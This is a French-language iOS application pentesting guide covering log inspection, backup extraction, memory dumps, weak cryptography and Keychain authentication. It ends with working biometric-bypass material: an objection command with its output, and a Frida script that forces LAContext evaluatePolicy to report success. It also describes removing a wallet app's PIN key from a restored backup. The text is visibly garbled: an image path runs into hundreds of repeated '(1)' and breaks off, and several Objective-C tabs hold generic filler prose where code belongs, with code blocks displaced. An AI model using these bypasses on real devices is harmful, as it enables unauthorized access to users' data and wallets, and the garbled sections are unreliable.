Dans les versions iOS 6 et antérieures, les journaux étaient lisibles par tous (une application malveillante pouvait lire les journaux d'autres applications et extraire des informations sensibles à partir de là). De nos jours, les applications ne peuvent accéder qu'à leurs propres journaux.

Cependant, un attaquant ayant un accès physique à un appareil déverrouillé peut le connecter à un ordinateur et lire les journaux (notez que les journaux écrits sur le disque par une application ne sont pas supprimés si l'application est désinstallée).

Il est recommandé de naviguer à travers toutes les pages de l'application et interagir avec chaque élément de l'interface utilisateur et fonctionnalité et fournir du texte d'entrée dans tous les champs de texte et revoir les journaux à la recherche d'informations sensibles exposées.

Utilisez les mots-clés suivants pour vérifier le code source de l'application pour les déclarations de journalisation prédéfinies et personnalisées :

Pour les fonctions prédéfinies et intégrées :
NSLog
NSAssert
NSCAssert
fprintf
Pour les fonctions personnalisées :
Logging
Logfile

Surveillance des journaux système

De nombreuses applications enregistrent des messages informatifs (et potentiellement sensibles) dans le journal de la console. Le journal contient également des rapports de plantage et d'autres informations utiles.

Vous pouvez utiliser ces outils :

idevice_id --list   # To find the device ID
idevicesyslog -u <id> (| grep <app>)   # To get the device logs

Vous pouvez collecter les journaux de console via la fenêtre Appareils de Xcode de la manière suivante :

Lancez Xcode.
Connectez votre appareil à votre ordinateur hôte.
Choisissez Fenêtre -> Appareils et simulateurs.
Cliquez sur votre appareil iOS connecté dans la section de gauche de la fenêtre Appareils.
Reproduisez le problème.
Cliquez sur le bouton Ouvrir la console situé dans la partie supérieure droite de la fenêtre Appareils pour afficher les journaux de console dans une fenêtre séparée.

![](<../../.gitbook/assets/image (466) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (

iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock

========================
ASL is here to serve you
> watch
OK

Jun  7 13:42:14 iPhone chmod[9705] <Notice>: MS:Notice: Injecting: (null) [chmod] (1556.00)
Jun  7 13:42:14 iPhone readlink[9706] <Notice>: MS:Notice: Injecting: (null) [readlink] (1556.00)
Jun  7 13:42:14 iPhone rm[9707] <Notice>: MS:Notice: Injecting: (null) [rm] (1556.00)
Jun  7 13:42:14 iPhone touch[9708] <Notice>: MS:Notice: Injecting: (null) [touch] (1556.00)
...

Utilisez Trickest pour construire et automatiser facilement des flux de travail alimentés par les outils communautaires les plus avancés au monde.
Obtenez un accès aujourd'hui :

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Sauvegardes

iOS inclut des fonctionnalités de sauvegarde automatique qui créent des copies des données stockées sur l'appareil. Vous pouvez effectuer des sauvegardes iOS depuis votre ordinateur hôte en utilisant iTunes (jusqu'à macOS Catalina) ou Finder (à partir de macOS Catalina), ou via la fonctionnalité de sauvegarde iCloud. Dans les deux cas, la sauvegarde inclut presque toutes les données stockées sur l'appareil iOS, à l'exception des données hautement sensibles telles que les informations Apple Pay et les paramètres Touch ID.

Étant donné qu'iOS sauvegarde les applications installées et leurs données, une préoccupation évidente est de savoir si des données sensibles de l'utilisateur stockées par l'application pourraient fuir involontairement par la sauvegarde. Une autre préoccupation, bien que moins évidente, est de savoir si des paramètres de configuration sensibles utilisés pour protéger les données ou restreindre la fonctionnalité de l'application pourraient être modifiés pour changer le comportement de l'application après la restauration d'une sauvegarde modifiée. Les deux préoccupations sont valides et ces vulnérabilités se sont avérées exister dans un grand nombre d'applications aujourd'hui.

Une sauvegarde d'un appareil sur lequel une application mobile a été installée inclura tous les sous-répertoires (à l'exception de Library/Caches/) et fichiers du répertoire privé de l'application.
Par conséquent, évitez de stocker des données sensibles en texte brut dans l'un des fichiers ou dossiers qui se trouvent dans le répertoire privé de l'application ou ses sous-répertoires.

Bien que tous les fichiers dans Documents/ et Library/Application Support/ soient toujours sauvegardés par défaut, vous pouvez exclure des fichiers de la sauvegarde en appelant NSURL setResourceValue:forKey:error: avec la clé NSURLIsExcludedFromBackupKey.
Vous pouvez utiliser les propriétés du système de fichiers NSURLIsExcludedFromBackupKey et CFURLIsExcludedFromBackupKey pour exclure des fichiers et des répertoires des sauvegardes.

{% hint style="warning" %} Par conséquent, lors de la vérification de la sauvegarde d'une application, vous devez vérifier si des informations sensibles sont accessibles et si vous pouvez modifier un comportement sensible de l'application en modifiant certains paramètres de la sauvegarde et en restaurant la sauvegarde. {% endhint %}

Comment tester

Commencez par créer une sauvegarde de l'appareil (vous pouvez le faire en utilisant Finder) et trouvez où la sauvegarde est stockée. La documentation officielle d'Apple vous aidera à localiser les sauvegardes de votre iPhone, iPad et iPod touch.

Une fois que vous avez trouvé la sauvegarde de l'appareil (/Users/carlos.martin/Library/Application Support/MobileSync/Backup/{deviceID}), vous pouvez commencer à rechercher des informations sensibles en utilisant par exemple grep, ou en utilisant des outils comme iMazing).

Pour savoir si une sauvegarde est chiffrée, vous pouvez vérifier la clé nommée "IsEncrypted" du fichier "Manifest.plist", situé à la racine du répertoire de sauvegarde. L'exemple suivant montre une configuration indiquant que la sauvegarde est chiffrée :

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
...
<key>Date</key>
<date>2021-03-12T17:43:33Z</date>
<key>IsEncrypted</key>
<true/>
...
</plist>

Au cas où vous auriez besoin de travailler avec une sauvegarde chiffrée, il existe quelques scripts Python dans le référentiel GitHub de DinoSec, tels que backup_tool.py et backup_passwd.py, qui serviront de bon point de départ. Cependant, notez qu'ils pourraient ne pas fonctionner avec les dernières versions d'iTunes/Finder et pourraient nécessiter des ajustements.

Vous pouvez également utiliser l'outil iOSbackup pour lire et extraire facilement des fichiers à partir d'une sauvegarde iOS chiffrée par mot de passe.

Comment modifier le comportement

Dans l'application open source de portefeuille Bitcoin, Bither, vous verrez qu'il est possible de configurer un code PIN pour verrouiller l'interface utilisateur. Ce code PIN est stocké dans le fichier net.bither.plist sous la clé pin_code. Si vous supprimez cette clé de ce fichier plist dans la sauvegarde et restaurez la sauvegarde, vous pourrez accéder au portefeuille.

Test de la mémoire pour les données sensibles

À un moment donné, des informations sensibles vont être stockées en mémoire. L'objectif est de s'assurer que ces informations sont exposées aussi brièvement que possible.

Pour examiner la mémoire d'une application, commencez par créer un dump de mémoire. Alternativement, vous pouvez analyser la mémoire en temps réel avec, par exemple, un débogueur. Quelle que soit la méthode que vous utilisez, il s'agit d'un processus très sujet aux erreurs car les dumps fournissent les données laissées par les fonctions exécutées et vous pourriez manquer d'exécuter des étapes critiques. De plus, il est assez facile de passer à côté de données lors de l'analyse, à moins de connaître l'empreinte des données que vous recherchez (soit sa valeur exacte, soit son format). Par exemple, si l'application chiffre selon une clé symétrique générée de manière aléatoire, il est très peu probable que vous repériez la clé en mémoire à moins de trouver sa valeur par d'autres moyens.

Récupération et analyse d'un dump de mémoire

Que vous utilisiez un appareil jailbreaké ou non jailbreaké, vous pouvez extraire la mémoire du processus de l'application avec objection et Fridump.

Une fois que la mémoire a été extraite (par exemple, dans un fichier appelé "memory"), en fonction de la nature des données que vous recherchez, vous aurez besoin d'un ensemble d'outils différents pour traiter et analyser ce dump de mémoire. Par exemple, si vous vous concentrez sur les chaînes de caractères, il pourrait vous suffire d'exécuter la commande strings ou rabin2 -zz pour extraire ces chaînes de caractères.

# using strings
$ strings memory > strings.txt

# using rabin2
$ rabin2 -ZZ memory > strings.txt

Ouvrez strings.txt dans votre éditeur préféré et fouillez-le pour identifier les informations sensibles.

Cependant, si vous souhaitez inspecter un autre type de données, vous préférerez utiliser radare2 et ses capacités de recherche. Consultez l'aide de radare2 sur la commande de recherche (/?) pour plus d'informations et une liste d'options. Ce qui suit ne montre qu'un sous-ensemble d'entre elles :

$ r2 <name_of_your_dump_file>

[0x00000000]> /?
Usage: /[!bf] [arg]  Search stuff (see 'e??search' for options)
|Use io.va for searching in non virtual addressing spaces
| / foo\x00                    search for string 'foo\0'
| /c[ar]                       search for crypto materials
| /e /E.F/i                    match regular expression
| /i foo                       search for string 'foo' ignoring case
| /m[?][ebm] magicfile         search for magic, filesystems or binary headers
| /v[1248] value               look for an `cfg.bigendian` 32bit value
| /w foo                       search for wide string 'f\0o\0o\0'
| /x ff0033                    search for hex string
| /z min max                   search for strings of given size
...

Analyse de la mémoire en temps d'exécution

En utilisant r2frida, vous pouvez analyser et inspecter la mémoire de l'application pendant son exécution, sans avoir besoin de la décharger. Par exemple, vous pouvez exécuter les commandes de recherche précédentes depuis r2frida et rechercher une chaîne de caractères, des valeurs hexadécimales, etc. Lorsque vous le faites, n'oubliez pas de préfixer la commande de recherche (et toute autre commande spécifique à r2frida) avec un backslash \ après avoir démarré la session avec r2 frida://usb//<nom_de_votre_application>.

Cryptographie défaillante

Mauvaises pratiques de gestion des clés

Certains développeurs enregistrent des données sensibles dans le stockage local et les chiffrent avec une clé codée en dur/prévisible dans le code. Cela ne devrait pas être fait car une rétro-ingénierie pourrait permettre aux attaquants d'extraire les informations confidentielles.

Utilisation d'algorithmes non sécurisés et/ou obsolètes

Les développeurs ne devraient pas utiliser d'algorithmes obsolètes pour effectuer des vérifications d'autorisation, stocker ou envoyer des données. Certains de ces algorithmes sont : RC4, MD4, MD5, SHA1... Si des hachages sont utilisés pour stocker des mots de passe par exemple, des hachages résistants aux attaques par force brute devraient être utilisés avec un sel.

Vérification

Les principales vérifications à effectuer consistent à rechercher des mots de passe/secrets codés en dur dans le code, ou si ceux-ci sont prévisibles, et si le code utilise des algorithmes de cryptographie faibles.

Il est intéressant de savoir que vous pouvez surveiller automatiquement certaines bibliothèques de cryptographie en utilisant objection avec :

ios monitor crypt

Pour plus d'informations sur les API et les bibliothèques de cryptographie iOS, accédez à https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography

Authentification locale

Le testeur doit être conscient que l'authentification locale doit toujours être appliquée à un point d'accès distant ou basée sur une primitive cryptographique. Les attaquants peuvent contourner facilement l'authentification locale si aucune donnée ne retourne du processus d'authentification.

Le framework d'authentification locale fournit un ensemble d'API permettant aux développeurs d'étendre une boîte de dialogue d'authentification à un utilisateur. Dans le contexte de la connexion à un service distant, il est possible (et recommandé) d'utiliser le trousseau pour mettre en œuvre l'authentification locale.

Le capteur d'empreintes digitales est géré par le coprocesseur de sécurité SecureEnclave et n'expose pas les données d'empreintes digitales à d'autres parties du système. À côté de Touch ID, Apple a introduit Face ID : qui permet l'authentification basée sur la reconnaissance faciale.

Les développeurs ont deux options pour intégrer l'authentification Touch ID/Face ID :

LocalAuthentication.framework est une API de haut niveau qui peut être utilisée pour authentifier l'utilisateur via Touch ID. L'application ne peut pas accéder aux données associées à l'empreinte digitale enregistrée et est seulement notifiée si l'authentification a réussi.
Security.framework est une API de niveau inférieur pour accéder aux services du trousseau. C'est une option sécurisée si votre application a besoin de protéger certaines données secrètes avec une authentification biométrique, car le contrôle d'accès est géré au niveau du système et ne peut pas être contourné facilement. Security.framework dispose d'une API C, mais il existe plusieurs enveloppes open source disponibles, rendant l'accès au trousseau aussi simple que pour NSUserDefaults.

{% hint style="danger" %} Veuillez noter que l'utilisation de LocalAuthentication.framework ou de Security.framework peut être contournée par un attaquant car elle ne renvoie qu'un booléen et aucune donnée pour continuer. Voir Don't touch me that way, par David Lindner et al pour plus de détails. {% endhint %}

Framework d'authentification locale

Les développeurs peuvent afficher une invite d'authentification en utilisant la fonction evaluatePolicy de la classe LAContext. Deux politiques disponibles définissent les formes d'authentification acceptables :

deviceOwnerAuthentication(Swift) ou LAPolicyDeviceOwnerAuthentication(Objective-C) : Lorsque disponible, l'utilisateur est invité à effectuer une authentification Touch ID. Si Touch ID n'est pas activé, le code d'accès de l'appareil est demandé à la place. Si le code d'accès de l'appareil n'est pas activé, l'évaluation de la politique échoue.
deviceOwnerAuthenticationWithBiometrics (Swift) ou LAPolicyDeviceOwnerAuthenticationWithBiometrics(Objective-C) : L'authentification est limitée aux données biométriques où l'utilisateur est invité à utiliser Touch ID.

La fonction evaluatePolicy renvoie une valeur booléenne indiquant si l'utilisateur s'est authentifié avec succès. Cela signifie qu'il peut être facilement contourné (voir ci-dessous)

Authentification locale en utilisant le trousseau

Les API du trousseau iOS peuvent (et doivent) être utilisées pour mettre en œuvre l'authentification locale. Pendant ce processus, l'application stocke soit un jeton d'authentification secret, soit une autre donnée secrète identifiant l'utilisateur dans le trousseau. Pour s'authentifier auprès d'un service distant, l'utilisateur doit déverrouiller le trousseau en utilisant son mot de passe ou son empreinte digitale pour obtenir les données secrètes.

Le trousseau permet de sauvegarder des éléments avec l'attribut spécial SecAccessControl, qui permettra l'accès à l'élément du trousseau uniquement après que l'utilisateur ait réussi l'authentification Touch ID (ou le code d'accès, si une telle solution de secours est autorisée par les paramètres de l'attribut).

Dans l'exemple suivant, nous sauvegarderons la chaîne "test_strong_password" dans le trousseau. La chaîne ne peut être accédée que sur l'appareil actuel lorsque le code d'accès est défini (paramètre kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly) et après l'authentification Touch ID pour les empreintes digitales actuellement enregistrées uniquement (paramètre SecAccessControlCreateFlags.biometryCurrentSet):

{% tabs %} {% tab title="Swift" %}

// 1. create AccessControl object that will represent authentication settings

var error: Unmanaged<CFError>?

guard let accessControl = SecAccessControlCreateWithFlags(kCFAllocatorDefault,
kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly,
SecAccessControlCreateFlags.biometryCurrentSet,
&error) else {
// failed to create AccessControl object

return
}

// 2. define keychain services query. Pay attention that kSecAttrAccessControl is mutually exclusive with kSecAttrAccessible attribute

var query: [String: Any] = [:]

query[kSecClass as String] = kSecClassGenericPassword
query[kSecAttrLabel as String] = "com.me.myapp.password" as CFString
query[kSecAttrAccount as String] = "OWASP Account" as CFString
query[kSecValueData as String] = "test_strong_password".data(using: .utf8)! as CFData
query[kSecAttrAccessControl as String] = accessControl

// 3. save item

let status = SecItemAdd(query as CFDictionary, nil)

if status == noErr {
// successfully saved
} else {
// error while saving
}

{% tab title="Objective-C" %}

Le langage de programmation Objective-C est utilisé pour développer des applications iOS. Il est basé sur le langage C et ajoute des fonctionnalités spécifiques à la programmation orientée objet. Voici quelques points importants à retenir lors de l'analyse de l'application iOS :

Fichiers source Objective-C : Les fichiers source Objective-C ont l'extension .m et contiennent le code source de l'application iOS. Ils peuvent être analysés pour identifier les vulnérabilités potentielles.
Méthodes sensibles : Les méthodes sensibles, telles que celles liées à l'authentification, au chiffrement ou à l'accès aux données sensibles, doivent être examinées attentivement pour détecter d'éventuelles vulnérabilités.
Gestion de la mémoire : Objective-C utilise le comptage de références pour gérer la mémoire. Il est important de vérifier si les objets sont correctement libérés de la mémoire pour éviter les fuites de mémoire.
Communication réseau : Les applications iOS peuvent communiquer avec des serveurs distants via des requêtes HTTP ou d'autres protocoles. Il est essentiel de vérifier si les communications réseau sont sécurisées et si les données sont correctement chiffrées.
Stockage local : Les applications iOS peuvent stocker des données localement sur l'appareil. Il est important de vérifier si les données sensibles sont correctement protégées et si les fichiers temporaires sont correctement supprimés après utilisation.
Analyse des dépendances : Les applications iOS peuvent utiliser des bibliothèques tierces. Il est important de vérifier si ces bibliothèques sont à jour et si elles présentent des vulnérabilités connues.
Analyse des erreurs : Les erreurs de programmation peuvent révéler des informations sensibles ou conduire à des vulnérabilités. Il est important d'analyser les messages d'erreur et les journaux pour détecter d'éventuelles faiblesses.
Tests de sécurité : Les tests de sécurité, tels que les tests d'injection de code, les tests d'authentification, les tests de chiffrement et les tests de manipulation de données, doivent être effectués pour identifier les vulnérabilités potentielles.

En utilisant ces techniques d'analyse, vous pouvez identifier les vulnérabilités potentielles dans les applications iOS et prendre les mesures nécessaires pour les corriger.

{% endtab %}

// 1. create AccessControl object that will represent authentication settings
CFErrorRef *err = nil;

SecAccessControlRef sacRef = SecAccessControlCreateWithFlags(kCFAllocatorDefault,
kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly,
kSecAccessControlUserPresence,
err);

// 2. define keychain services query. Pay attention that kSecAttrAccessControl is mutually exclusive with kSecAttrAccessible attribute
NSDictionary* query = @{
(_ _bridge id)kSecClass: (__bridge id)kSecClassGenericPassword,
(__bridge id)kSecAttrLabel: @"com.me.myapp.password",
(__bridge id)kSecAttrAccount: @"OWASP Account",
(__bridge id)kSecValueData: [@"test_strong_password" dataUsingEncoding:NSUTF8StringEncoding],
(__bridge id)kSecAttrAccessControl: (__bridge_transfer id)sacRef
};

// 3. save item
OSStatus status = SecItemAdd((__bridge CFDictionaryRef)query, nil);

if (status == noErr) {
// successfully saved
} else {
// error while saving
}

{% tab title="Swift" %}

Maintenant, nous pouvons demander l'élément enregistré dans le trousseau. Les services du trousseau présenteront la boîte de dialogue d'authentification à l'utilisateur et renverront les données ou nil en fonction de la fourniture ou non d'une empreinte digitale appropriée.

let query: [String: Any] = [
    kSecClass as String: kSecClassGenericPassword,
    kSecAttrService as String: "MyApp",
    kSecAttrAccount as String: "username",
    kSecReturnData as String: true
]

var item: CFTypeRef?
let status = SecItemCopyMatching(query as CFDictionary, &item)

if status == errSecSuccess {
    let passwordData = item as! Data
    let password = String(data: passwordData, encoding: .utf8)
    print("Password: \(password ?? "")")
} else {
    print("Failed to retrieve password: \(status)")
}

{% endtab %} {% endtabs %}

// 1. define query
var query = [String: Any]()
query[kSecClass as String] = kSecClassGenericPassword
query[kSecReturnData as String] = kCFBooleanTrue
query[kSecAttrAccount as String] = "My Name" as CFString
query[kSecAttrLabel as String] = "com.me.myapp.password" as CFString
query[kSecUseOperationPrompt as String] = "Please, pass authorisation to enter this area" as CFString

// 2. get item
var queryResult: AnyObject?
let status = withUnsafeMutablePointer(to: &queryResult) {
SecItemCopyMatching(query as CFDictionary, UnsafeMutablePointer($0))
}

if status == noErr {
let password = String(data: queryResult as! Data, encoding: .utf8)!
// successfully received password
} else {
// authorization not passed
}

{% tab title="Objective-C" %}

Le langage de programmation Objective-C est utilisé pour développer des applications iOS. Il est basé sur le langage C et ajoute des fonctionnalités spécifiques à la programmation orientée objet. Pour effectuer des tests de pénétration sur des applications iOS, il est important de comprendre les concepts de base d'Objective-C.

Voici quelques points clés à retenir :

Les classes et les objets sont les éléments de base d'Objective-C. Une classe est un modèle pour créer des objets, qui sont des instances de cette classe.
Les méthodes sont des fonctions qui sont associées à une classe ou à un objet. Elles sont utilisées pour effectuer des opérations spécifiques.
Les propriétés sont des variables qui sont associées à une classe ou à un objet. Elles sont utilisées pour stocker des données.
Les messages sont utilisés pour communiquer entre les objets. Un message est envoyé à un objet pour lui demander d'exécuter une méthode spécifique.
Les protocoles sont des interfaces qui définissent un ensemble de méthodes que les classes peuvent implémenter. Ils sont utilisés pour définir des contrats entre les objets.

En comprenant ces concepts de base, vous serez en mesure de comprendre et de manipuler le code Objective-C lors de vos tests de pénétration sur des applications iOS.

{% endtab %}

// 1. define query
NSDictionary *query = @{(__bridge id)kSecClass: (__bridge id)kSecClassGenericPassword,
(__bridge id)kSecReturnData: @YES,
(__bridge id)kSecAttrAccount: @"My Name1",
(__bridge id)kSecAttrLabel: @"com.me.myapp.password",
(__bridge id)kSecUseOperationPrompt: @"Please, pass authorisation to enter this area" };

// 2. get item
CFTypeRef queryResult = NULL;
OSStatus status = SecItemCopyMatching((__bridge CFDictionaryRef)query, &queryResult);

if (status == noErr){
NSData* resultData = ( __bridge_transfer NSData* )queryResult;
NSString* password = [[NSString alloc] initWithData:resultData encoding:NSUTF8StringEncoding];
NSLog(@"%@", password);
} else {
NSLog(@"Something went wrong");
}

{% endtab %} {% endtabs %}

Détection

L'utilisation de frameworks dans une application peut également être détectée en analysant la liste des bibliothèques dynamiques partagées de l'application binaire. Cela peut être fait en utilisant otool:

$ otool -L <AppName>.app/<AppName>

Si LocalAuthentication.framework est utilisé dans une application, la sortie contiendra les deux lignes suivantes (n'oubliez pas que LocalAuthentication.framework utilise Security.framework en interne):

/System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication
/System/Library/Frameworks/Security.framework/Security

Si Security.framework est utilisé, seul le deuxième sera affiché.

Contournement du framework d'authentification locale

Objection

Objection Biometrics Bypass peut être utilisé pour contourner LocalAuthentication. Objection utilise Frida pour instrumenter la fonction evaluatePolicy afin qu'elle renvoie True même si l'authentification n'a pas été effectuée avec succès. Utilisez la commande ios ui biometrics_bypass pour contourner l'authentification biométrique non sécurisée. Objection enregistrera un travail, qui remplacera le résultat de evaluatePolicy. Cela fonctionnera à la fois dans les implémentations Swift et Objective-C.

...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios ui biometrics_bypass
(agent) Registering job 3mhtws9x47q. Type: ios-biometrics-disable
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # (agent) [3mhtws9x47q] Localized Reason for auth requirement: Please authenticate yourself
(agent) [3mhtws9x47q] OS authentication response: false
(agent) [3mhtws9x47q] Marking OS response as True instead
(agent) [3mhtws9x47q] Biometrics bypass hook complete

Si vulnérable, le module contournera automatiquement le formulaire de connexion.

Frida

Un exemple d'utilisation de evaluatePolicy de l'application DVIA-v2 :

+(void)authenticateWithTouchID {
LAContext *myContext = [[LAContext alloc] init];
NSError *authError = nil;
NSString *myLocalizedReasonString = @"Please authenticate yourself";

if ([myContext canEvaluatePolicy:LAPolicyDeviceOwnerAuthenticationWithBiometrics error:&authError]) {
[myContext evaluatePolicy:LAPolicyDeviceOwnerAuthenticationWithBiometrics
localizedReason:myLocalizedReasonString
reply:^(BOOL success, NSError *error) {
if (success) {
dispatch_async(dispatch_get_main_queue(), ^{
[TouchIDAuthentication showAlert:@"Authentication Successful" withTitle:@"Success"];
});
} else {
dispatch_async(dispatch_get_main_queue(), ^{
[TouchIDAuthentication showAlert:@"Authentication Failed !" withTitle:@"Error"];
});
}
}];
} else {
dispatch_async(dispatch_get_main_queue(), ^{
[TouchIDAuthentication showAlert:@"Your device doesn't support Touch ID or you haven't configured Touch ID authentication on your device" withTitle:@"Error"];
});
}
}

Pour contourner l'authentification locale, nous devons écrire un script Frida qui contourne la vérification evaluatePolicy mentionnée ci-dessus. Comme vous pouvez le voir dans l'extrait de code ci-dessus, evaluatePolicy utilise un callback qui détermine le résultat. Donc, la façon la plus simple de réaliser le piratage est d'intercepter ce callback et de vous assurer qu'il renvoie toujours success=1.

// from https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/
if(ObjC.available) {
console.log("Injecting...");
var hook = ObjC.classes.LAContext["- evaluatePolicy:localizedReason:reply:"];
Interceptor.attach(hook.implementation, {
onEnter: function(args) {
var block = new ObjC.Block(args[4]);
const callback = block.implementation;
block.implementation = function (error, value)  {

console.log("Changing the result value to true")
const result = callback(1, null);
return result;
};
},
});
} else {
console.log("Objective-C Runtime is not available!");
}

frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-ios.js

Exposition de fonctionnalités sensibles via IPC

